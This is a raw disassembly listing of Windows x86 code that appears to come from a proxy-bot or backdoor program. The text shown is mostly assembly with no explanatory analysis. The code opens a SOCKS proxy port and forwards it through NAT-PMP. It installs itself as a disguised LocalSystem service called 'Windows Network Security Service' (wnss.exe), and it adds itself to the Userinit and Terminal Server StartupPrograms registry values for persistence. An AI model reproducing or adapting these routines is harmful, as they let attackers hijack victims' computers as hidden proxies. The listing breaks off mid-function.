push dword ptr [ebp-0Ch]
call dword_411E44
test eax, eax
jnz short loc_446CF7
mov eax, [ebp-10h]
mov dword_41100C, eax
loc_446CF7: ; CODE XREF: DMN1:00446CEDj
push dword ptr [ebp-0Ch]
call dword_411E2C
loc_446D00: ; CODE XREF: DMN1:00446CCDj
push offset aListener___ ; "listener...\n"
call nullsub_3
pop ecx
lea eax, [ebp-1Ah]
push eax
call sub_4447C7
pop ecx
mov [ebp-6], ax
test ax, ax
jz short loc_446D42
cmp ax, 0FFFFh
jz short loc_446D42
movzx eax, word ptr [ebp-6]
cmp dword_411010, eax
jz short loc_446D42
movzx eax, word ptr [ebp-6]
mov dword_411010, eax
movzx eax, word ptr [ebp-1Ah]
mov dword_41100C, eax
loc_446D42: ; CODE XREF: DMN1:00446D1Cj
; DMN1:00446D22j ...
call sub_44367A
mov dword_411030, eax
loc_446D4C: ; CODE XREF: DMN1:00446DC8j
cmp dword_41100C, 0
jnz short loc_446D88
loc_446D55: ; CODE XREF: DMN1:00446D7Cj
; DMN1:00446D83j
lea eax, [ebp-4]
push eax
call sub_443322
pop ecx
mov ecx, 9C40h
cdq
idiv ecx
lea eax, [edx+4E20h]
mov dword_41100C, eax
mov eax, dword_41100C
cmp eax, 24EAh
jz short loc_446D55
cmp eax, 0BB8h
jz short loc_446D55
xor ebx, ebx
inc ebx
loc_446D88: ; CODE XREF: DMN1:00446D53j
movzx eax, word ptr dword_41100C
push eax
push 0
push dword_411030
call sub_4438D8
add esp, 0Ch
test eax, eax
jnz short loc_446DCA
and dword_41100C, 0
and dword_411010, 0
push dword_411030
call sub_4437E3
pop ecx
call sub_44367A
mov dword_411030, eax
jmp short loc_446D4C
; ---------------------------------------------------------------------------
loc_446DCA: ; CODE XREF: DMN1:00446DA2j
push dword_41100C
push offset aSocksPortI ; "SOCKS port: %i\n"
call sub_449641
pop ecx
pop ecx
mov eax, dword_41100C
mov dword_411010, eax
call sub_445434
mov [ebp-14h], eax
movzx eax, word ptr dword_411010
push eax
movzx eax, word ptr dword_41100C
push eax
push dword ptr [ebp-14h]
call sub_445643
add esp, 0Ch
movzx eax, ax
mov dword_411010, eax
cmp dword_411010, 0
jnz short loc_446E26
mov eax, dword_41100C
mov dword_411010, eax
jmp short loc_446E38
; ---------------------------------------------------------------------------
loc_446E26: ; CODE XREF: DMN1:00446E18j
push dword_411010
push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n"
call sub_449641
pop ecx
pop ecx
loc_446E38: ; CODE XREF: DMN1:00446E24j
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_444E23
pop ecx
pop ecx
test eax, eax
jz short loc_446E51
mov eax, dword_41100C
loc_446E51: ; CODE XREF: DMN1:00446E4Aj
test ebx, ebx
jz short loc_446EA7
mov eax, dword_41100C
mov [ebp-10h], eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-0Ch]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call dword_411E24
test eax, eax
jnz short loc_446EA7
push 4
lea eax, [ebp-10h]
push eax
push 4
push 0
push offset aInternalprogra ; "InternalProgramData"
push dword ptr [ebp-0Ch]
call dword_411E28
push dword ptr [ebp-0Ch]
call dword_411E2C
loc_446EA7: ; CODE XREF: DMN1:00446E53j
; DMN1:00446E84j
push 1
push offset dword_411024
call dword_411D04
push 1
push offset dword_41102C
call dword_411D04
push offset aStartingCommTh ; "starting COMM thread...\n"
call nullsub_3
pop ecx
push 0
push 0
push offset sub_40400E
call sub_449CF1
add esp, 0Ch
push eax
call dword_411CF8
push 0C8h
call dword_411D00
push 0
push 0
push offset sub_403FEA
call sub_449CF1
add esp, 0Ch
push eax
call dword_411CF8
push 0C8h
call dword_411D00
loc_446F12: ; CODE XREF: DMN1:00446F3Cj
; DMN1:00446F6Fj
push dword_411030
call sub_443928
pop ecx
test eax, eax
jz short loc_446F71
lea eax, [ebp-2Ah]
push eax
lea eax, [ebp-28h]
push eax
push dword_411030
call sub_44398D
add esp, 0Ch
mov edi, eax
test edi, edi
jz short loc_446F12
push 0Ch
call sub_443369
pop ecx
mov esi, eax
mov eax, [ebp-28h]
mov [esi], eax
mov ax, [ebp-2Ah]
mov [esi+4], ax
mov [esi+8], edi
push esi
push 0
push offset sub_4042CD
call sub_449CF1
add esp, 0Ch
push eax
call dword_411CF8
jmp short loc_446F12
; ---------------------------------------------------------------------------
loc_446F71: ; CODE XREF: DMN1:00446F20j
push 0
push offset dword_41102C
call dword_411D04
push dword_411030
call sub_4437E3
pop ecx
and dword_411030, 0
call sub_449D81
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
mov ebx, [ebp+10h]
push 44h
push 0
lea eax, [ebp-44h]
push eax
call sub_4499B1
add esp, 0Ch
mov dword ptr [ebp-44h], 44h
test ebx, ebx
jz short loc_446FDA
push offset asc_40EDE8 ; "\""
lea eax, [ebp-844h]
push eax
call sub_449A51
pop ecx
pop ecx
jmp short loc_446FE1
; ---------------------------------------------------------------------------
loc_446FDA: ; CODE XREF: DMN1:00446FC3j
mov byte ptr [ebp-844h], 0
loc_446FE1: ; CODE XREF: DMN1:00446FD8j
cmp dword ptr [ebp+8], 0
jz short loc_446FFA
push dword ptr [ebp+8]
lea eax, [ebp-844h]
push eax
call sub_449A71
pop ecx
pop ecx
jmp short loc_44700D
; ---------------------------------------------------------------------------
loc_446FFA: ; CODE XREF: DMN1:00446FE5j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp-844h]
push eax
call sub_449A71
pop ecx
pop ecx
loc_44700D: ; CODE XREF: DMN1:00446FF8j
test ebx, ebx
jz short loc_447024
push offset asc_40EDE8 ; "\""
lea eax, [ebp-844h]
push eax
call sub_449A71
pop ecx
pop ecx
loc_447024: ; CODE XREF: DMN1:0044700Fj
cmp dword ptr [ebp+0Ch], 0
jz short loc_44704E
push offset asc_40EDC9 ; " "
lea eax, [ebp-844h]
push eax
call sub_449A71
pop ecx
pop ecx
push dword ptr [ebp+0Ch]
lea eax, [ebp-844h]
push eax
call sub_449A71
pop ecx
pop ecx
loc_44704E: ; CODE XREF: DMN1:00447028j
lea eax, [ebp-854h]
push eax
lea eax, [ebp-44h]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp-844h]
push eax
push 0
call dword_411D10
test eax, eax
jz short loc_447093
push dword ptr [ebp-850h]
call dword_411CF8
push dword ptr [ebp-854h]
call dword_411CF8
xor eax, eax
inc eax
loc_447093: ; CODE XREF: DMN1:00447076j
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_447098 proc near ; CODE XREF: DMN1:00447FE4p
; sub_448AD1:loc_448E0Dp ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_4470DF
push 4
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
test esi, esi
jnz short loc_4470CE
push ebx
call dword_411E50
xor eax, eax
jmp short loc_4470DF
; ---------------------------------------------------------------------------
loc_4470CE: ; CODE XREF: sub_447098+29j
push esi
call dword_411E50
push ebx
call dword_411E50
xor eax, eax
inc eax
loc_4470DF: ; CODE XREF: sub_447098+15j
; sub_447098+34j
pop esi
pop ebx
retn
sub_447098 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4470E2 proc near ; CODE XREF: sub_448AD1+3C4p
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_44714C
push 94h
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
test esi, esi
jnz short loc_447122
push ebx
call dword_411E50
xor eax, eax
jmp short loc_44714C
; ---------------------------------------------------------------------------
loc_447122: ; CODE XREF: sub_4470E2+33j
xor edi, edi
lea eax, [ebp+var_1C]
push eax
push esi
call dword_411E54
test eax, eax
jz short loc_44713C
cmp [ebp+var_18], 4
jnz short loc_44713C
xor edi, edi
inc edi
loc_44713C: ; CODE XREF: sub_4470E2+4Fj
; sub_4470E2+55j
push esi
call dword_411E50
push ebx
call dword_411E50
mov eax, edi
loc_44714C: ; CODE XREF: sub_4470E2+1Cj
; sub_4470E2+3Ej
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4470E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447153 proc near ; CODE XREF: sub_4471E8+32p
; sub_447236+39p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov ebx, [ebp+arg_0]
push 0
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push 0
push 2
push 0FFFFFFFFh
push ebx
call dword_411E58
test eax, eax
jnz short loc_447195
call dword_411CE8
cmp eax, 430h
jnz short loc_447191
or eax, 0FFFFFFFFh
jmp short loc_4471E3
; ---------------------------------------------------------------------------
loc_447191: ; CODE XREF: sub_447153+37j
xor eax, eax
jmp short loc_4471E3
; ---------------------------------------------------------------------------
loc_447195: ; CODE XREF: sub_447153+2Aj
mov [ebp+var_1C], 1
and [ebp+var_18], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_1C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E5C
test eax, eax
jnz short loc_4471E0
call dword_411CE8
cmp eax, 430h
jnz short loc_4471DC
or eax, 0FFFFFFFFh
jmp short loc_4471E3
; ---------------------------------------------------------------------------
loc_4471DC: ; CODE XREF: sub_447153+82j
xor eax, eax
jmp short loc_4471E3
; ---------------------------------------------------------------------------
loc_4471E0: ; CODE XREF: sub_447153+75j
xor eax, eax
inc eax
loc_4471E3: ; CODE XREF: sub_447153+3Cj
; sub_447153+40j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_447153 endp
; =============== S U B R O U T I N E =======================================
sub_4471E8 proc near ; CODE XREF: sub_44730A+6Dp
; DMN1:loc_447FFBp
push ebx
push esi
push edi
xor edi, edi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_447232
push 96h
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
test esi, esi
jz short loc_447229
push esi
call sub_447153
pop ecx
mov edi, eax
push esi
call dword_411E50
loc_447229: ; CODE XREF: sub_4471E8+2Fj
push ebx
call dword_411E50
mov eax, edi
loc_447232: ; CODE XREF: sub_4471E8+18j
pop edi
pop esi
pop ebx
retn
sub_4471E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447236 proc near ; CODE XREF: DMN1:00447EFAp
; sub_448AD1+428p ...
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
xor esi, esi
push 0F003Fh
push 0
push 0
call dword_411E48
mov edi, eax
test eax, eax
jz loc_447303
push 16h
push offset aWnss ; "wnss"
push edi
call dword_411E4C
mov ebx, eax
test ebx, ebx
jz short loc_447292
push ebx
call sub_447153
pop ecx
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_44728E
push ebx
call dword_411E50
push edi
call dword_411E50
mov eax, esi
jmp short loc_447303
; ---------------------------------------------------------------------------
loc_44728E: ; CODE XREF: sub_447236+44j
xor esi, esi
jmp short loc_4472A2
; ---------------------------------------------------------------------------
loc_447292: ; CODE XREF: sub_447236+36j
push 14h
push offset aWnss ; "wnss"
push edi
call dword_411E4C
mov ebx, eax
loc_4472A2: ; CODE XREF: sub_447236+5Aj
test ebx, ebx
jnz short loc_4472B1
push edi
call dword_411E50
xor eax, eax
jmp short loc_447303
; ---------------------------------------------------------------------------
loc_4472B1: ; CODE XREF: sub_447236+6Ej
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_411E54
test eax, eax
jz short loc_4472C9
cmp [ebp+var_18], 4
jnz short loc_4472C9
xor esi, esi
inc esi
loc_4472C9: ; CODE XREF: sub_447236+88j
; sub_447236+8Ej
test esi, esi
jnz short loc_4472F3
push 0
push 0
push ebx
call dword_411E60
test eax, eax
jz short loc_4472E3
mov esi, 2
jmp short loc_4472F3
; ---------------------------------------------------------------------------
loc_4472E3: ; CODE XREF: sub_447236+A4j
call dword_411CE8
cmp eax, 430h
jnz short loc_4472F3
or esi, 0FFFFFFFFh
loc_4472F3: ; CODE XREF: sub_447236+95j
; sub_447236+ABj ...
push ebx
call dword_411E50
push edi
call dword_411E50
mov eax, esi
loc_447303: ; CODE XREF: sub_447236+1Ej
; sub_447236+56j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_447236 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44730A proc near ; CODE XREF: DMN1:loc_44800Cp
; sub_448AD1+3F3p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_113 = byte ptr -113h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E48
mov esi, eax
test eax, eax
jz loc_447445
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push 0
push 2
push 110h
push 0F01FFh
push offset aWindowsNetwork ; "Windows Network Security Service"
push offset aWnss ; "wnss"
push esi
call dword_411E64
mov ebx, eax
test ebx, ebx
jnz short loc_447392
call dword_411CE8
cmp eax, 431h
jnz short loc_447384
push esi
call dword_411E50
call sub_4471E8
xor eax, eax
inc eax
jmp loc_447445
; ---------------------------------------------------------------------------
loc_447384: ; CODE XREF: sub_44730A+64j
push esi
call dword_411E50
xor eax, eax
jmp loc_447445
; ---------------------------------------------------------------------------
loc_447392: ; CODE XREF: sub_44730A+57j
push offset aServiceRegiste ; "service registered\n"
call nullsub_4
pop ecx
xor edi, edi
inc edi
push 0FFh
push offset aProvidesNetwor ; "Provides network security options for s"...
lea eax, [ebp+var_113]
push eax
call dword_411D3C
lea eax, [ebp+var_113]
mov [ebp+var_120], eax
lea eax, [ebp+var_120]
push eax
push 1
push ebx
call dword_411E5C
test eax, eax
jnz short loc_4473E7
call dword_411CE8
cmp eax, 430h
jnz short loc_4473E7
or edi, 0FFFFFFFFh
loc_4473E7: ; CODE XREF: sub_44730A+CBj
; sub_44730A+D8j
mov [ebp+var_11C], 1
and [ebp+var_118], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_11C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E5C
test eax, eax
jnz short loc_447435
call dword_411CE8
cmp eax, 430h
jnz short loc_447435
or edi, 0FFFFFFFFh
loc_447435: ; CODE XREF: sub_44730A+119j
; sub_44730A+126j
push ebx
call dword_411E50
push esi
call dword_411E50
mov eax, edi
loc_447445: ; CODE XREF: sub_44730A+1Fj
; sub_44730A+75j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44730A endp
; =============== S U B R O U T I N E =======================================
sub_44744C proc near ; CODE XREF: DMN1:00446314p
; sub_448AD1+B0p ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E48
mov ebx, eax
test eax, eax
jz short loc_44748E
push 0F01FFh
push offset aWnss ; "wnss"
push ebx
call dword_411E4C
mov esi, eax
push esi
call dword_411E68
push esi
call dword_411E50
push ebx
call dword_411E50
xor eax, eax
inc eax
loc_44748E: ; CODE XREF: sub_44744C+15j
pop esi
pop ebx
retn
sub_44744C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447491 proc near ; CODE XREF: DMN1:00447FEDp
; sub_448AD1+40Ap
var_53C = dword ptr -53Ch
var_538 = byte ptr -538h
var_534 = byte ptr -534h
var_409 = byte ptr -409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
push ebp
mov ebp, esp
sub esp, 53Ch
push ebx
push esi
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_400]
push eax
call sub_449A51
pop ecx
pop ecx
lea ebx, [ebp+var_400]
lea eax, [ebp+var_400]
push eax
call sub_449A31
pop ecx
add ebx, eax
push offset aWnss ; "wnss"
push ebx
call sub_449A51
pop ecx
pop ecx
xor esi, esi
lea eax, [ebp+var_404]
push eax
push 0F003Fh
push 0
lea eax, [ebp+var_400]
push eax
push 80000002h
call dword_411E30
test eax, eax
jnz short loc_44755F
mov [ebp+var_408], 12Ch
lea eax, [ebp+var_408]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_538]
push eax
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_404]
call dword_411E44
mov [ebp+var_53C], eax
test eax, eax
jnz short loc_447553
mov [ebp+var_409], 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp+var_534]
push eax
call dword_411D38
test eax, eax
jnz short loc_447553
xor esi, esi
inc esi
loc_447553: ; CODE XREF: sub_447491+A0j
; sub_447491+BDj
push [ebp+var_404]
call dword_411E2C
loc_44755F: ; CODE XREF: sub_447491+64j
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_447491 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447567 proc near ; CODE XREF: DMN1:00447FF6p
; sub_448AD1+413p
var_40C = byte ptr -40Ch
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 40Ch
push ebx
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_408]
push eax
call sub_449A51
pop ecx
pop ecx
lea ebx, [ebp+var_408]
lea eax, [ebp+var_408]
push eax
call sub_449A31
pop ecx
add ebx, eax
push offset aWnss ; "wnss"
push ebx
call sub_449A51
pop ecx
pop ecx
lea eax, [ebp+var_40C]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea eax, [ebp+var_408]
push eax
push 80000002h
call dword_411E24
test eax, eax
jnz loc_4476DC
mov [ebp+var_8], 110h
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aType ; "Type"
push [ebp+var_4]
call dword_411E28
mov [ebp+var_8], 2
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aStart ; "Start"
push [ebp+var_4]
call dword_411E28
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28
push 0Ch
push offset aLocalsystem ; "LocalSystem"
push 1
push 0
push offset aObjectname ; "ObjectName"
push [ebp+var_4]
call dword_411E28
push offset aWindowsNetwork ; "Windows Network Security Service"
call sub_449A31
pop ecx
inc eax
push eax
push offset aWindowsNetwork ; "Windows Network Security Service"
push 1
push 0
push offset aDisplayname ; "DisplayName"
push [ebp+var_4]
call dword_411E28
push offset aProvidesNetwor ; "Provides network security options for s"...
call sub_449A31
pop ecx
inc eax
push eax
push offset aProvidesNetwor ; "Provides network security options for s"...
push 1
push 0
push offset aDescription ; "Description"
push [ebp+var_4]
call dword_411E28
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call sub_449A31
pop ecx
inc eax
push eax
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push 1
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_4]
call dword_411E28
push [ebp+var_4]
call dword_411E2C
loc_4476DC: ; CODE XREF: sub_447567+6Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_447567 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
push 0
push 0
push 0
call dword_411D40
mov ebx, eax
test eax, eax
jz short loc_447715
push ebx
call dword_411D44
mov esi, eax
push ebx
call dword_411CF8
test esi, esi
jz short loc_447713
xor eax, eax
inc eax
jmp short loc_447715
; ---------------------------------------------------------------------------
loc_447713: ; CODE XREF: DMN1:0044770Cj
xor eax, eax
loc_447715: ; CODE XREF: DMN1:004476F8j
; DMN1:00447711j
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447718 proc near ; CODE XREF: sub_447925+89p
; sub_4479BB+CAp ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24
test eax, eax
jnz short loc_44776A
push [ebp+arg_C]
call sub_449A31
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28
push [ebp+var_4]
call dword_411E2C
loc_44776A: ; CODE XREF: sub_447718+29j
mov esp, ebp
pop ebp
retn
sub_447718 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44776E proc near ; CODE XREF: sub_447876+3Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_449A31
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_449A31
pop ecx
mov ebx, eax
jmp short loc_4477B2
; ---------------------------------------------------------------------------
loc_447794: ; CODE XREF: sub_44776E+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC
cmp eax, 2
jnz short loc_4477B0
mov eax, esi
jmp short loc_4477B8
; ---------------------------------------------------------------------------
loc_4477B0: ; CODE XREF: sub_44776E+3Cj
inc esi
dec edi
loc_4477B2: ; CODE XREF: sub_44776E+24j
cmp edi, ebx
jge short loc_447794
xor eax, eax
loc_4477B8: ; CODE XREF: sub_44776E+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44776E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4477BF proc near ; CODE XREF: sub_447876+23p
; sub_447925+4Ap ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
mov edi, [ebp+arg_10]
cmp edi, 1
jl short loc_4477DA
test esi, esi
jnz short loc_4477E1
loc_4477DA: ; CODE XREF: sub_4477BF+15j
xor eax, eax
jmp loc_44786F
; ---------------------------------------------------------------------------
loc_4477E1: ; CODE XREF: sub_4477BF+19j
lea eax, [ebp+var_8]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30
test eax, eax
jz short loc_447800
xor eax, eax
jmp short loc_44786F
; ---------------------------------------------------------------------------
loc_447800: ; CODE XREF: sub_4477BF+3Bj
push [ebp+arg_4]
push offset aRegreadOpenedS ; "RegRead(): opened %s\n"
call nullsub_4
pop ecx
pop ecx
push edi
push 0
push esi
call sub_4499B1
add esp, 0Ch
lea eax, [edi-1]
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push esi
lea eax, [ebp+var_10]
push eax
push 0
push ebx
push [ebp+var_8]
call dword_411E44
mov [ebp+var_C], eax
push [ebp+var_8]
call dword_411E2C
cmp [ebp+var_C], 0
jnz short loc_447860
push esi
push ebx
push [ebp+var_4]
push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n"
call nullsub_4
add esp, 10h
mov eax, [ebp+var_4]
dec eax
jmp short loc_44786F
; ---------------------------------------------------------------------------
loc_447860: ; CODE XREF: sub_4477BF+87j
push ebx
push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
call nullsub_4
pop ecx
pop ecx
xor eax, eax
loc_44786F: ; CODE XREF: sub_4477BF+1Dj
; sub_4477BF+3Fj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4477BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447876 proc near ; CODE XREF: sub_447925+23p
; sub_4479BB+24p ...
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_449B11
push ebx
push 2000h
lea eax, [ebp+var_2000]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4477BF
add esp, 14h
mov ebx, eax
test eax, eax
jz short loc_4478C3
push [ebp+arg_C]
lea eax, [ebp+var_2000]
push eax
call sub_44776E
pop ecx
pop ecx
test eax, eax
jz short loc_4478C1
xor eax, eax
inc eax
jmp short loc_4478C3
; ---------------------------------------------------------------------------
loc_4478C1: ; CODE XREF: sub_447876+44j
xor eax, eax
loc_4478C3: ; CODE XREF: sub_447876+2Fj
; sub_447876+49j
pop ebx
mov esp, ebp
pop ebp
retn
sub_447876 endp
; =============== S U B R O U T I N E =======================================
sub_4478C8 proc near ; CODE XREF: sub_447B54+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, [esp+0Ch+arg_8]
mov edi, [esp+0Ch+arg_C]
test edi, edi
jz short loc_4478E1
mov byte ptr [ebx], 22h
inc ebx
jmp short loc_4478E4
; ---------------------------------------------------------------------------
loc_4478E1: ; CODE XREF: sub_4478C8+11j
mov byte ptr [ebx], 0
loc_4478E4: ; CODE XREF: sub_4478C8+17j
push [esp+0Ch+arg_4]
push ebx
call sub_449A51
pop ecx
pop ecx
push [esp+0Ch+arg_4]
call sub_449A31
pop ecx
add ebx, eax
test edi, edi
jz short loc_447904
mov byte ptr [ebx], 22h
inc ebx
loc_447904: ; CODE XREF: sub_4478C8+36j
test esi, esi
jz short loc_44791E
mov byte ptr [ebx], 20h
inc ebx
push esi
push ebx
call sub_449A51
pop ecx
pop ecx
push esi
call sub_449A31
pop ecx
add ebx, eax
loc_44791E: ; CODE XREF: sub_4478C8+3Ej
mov byte ptr [ebx], 0
pop edi
pop esi
pop ebx
retn
sub_4478C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447925 proc near ; CODE XREF: sub_447B54+78p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_449B11
push ebx
push dword_4128A4
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_447876
add esp, 10h
test eax, eax
jnz short loc_4479B6
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_4477BF
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_447984
mov [ebp+var_2000], 0
loc_447984: ; CODE XREF: sub_447925+56j
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_449A71
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_447718
add esp, 10h
loc_4479B6: ; CODE XREF: sub_447925+2Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_447925 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4479BB proc near ; CODE XREF: sub_447B54+7Dp
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_449B11
push ebx
push esi
push dword_4128A4
push offset aUserinit ; "Userinit"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_447876
add esp, 10h
test eax, eax
jnz loc_447A8D
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4477BF
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_447A1F
mov [ebp+var_2000], 0
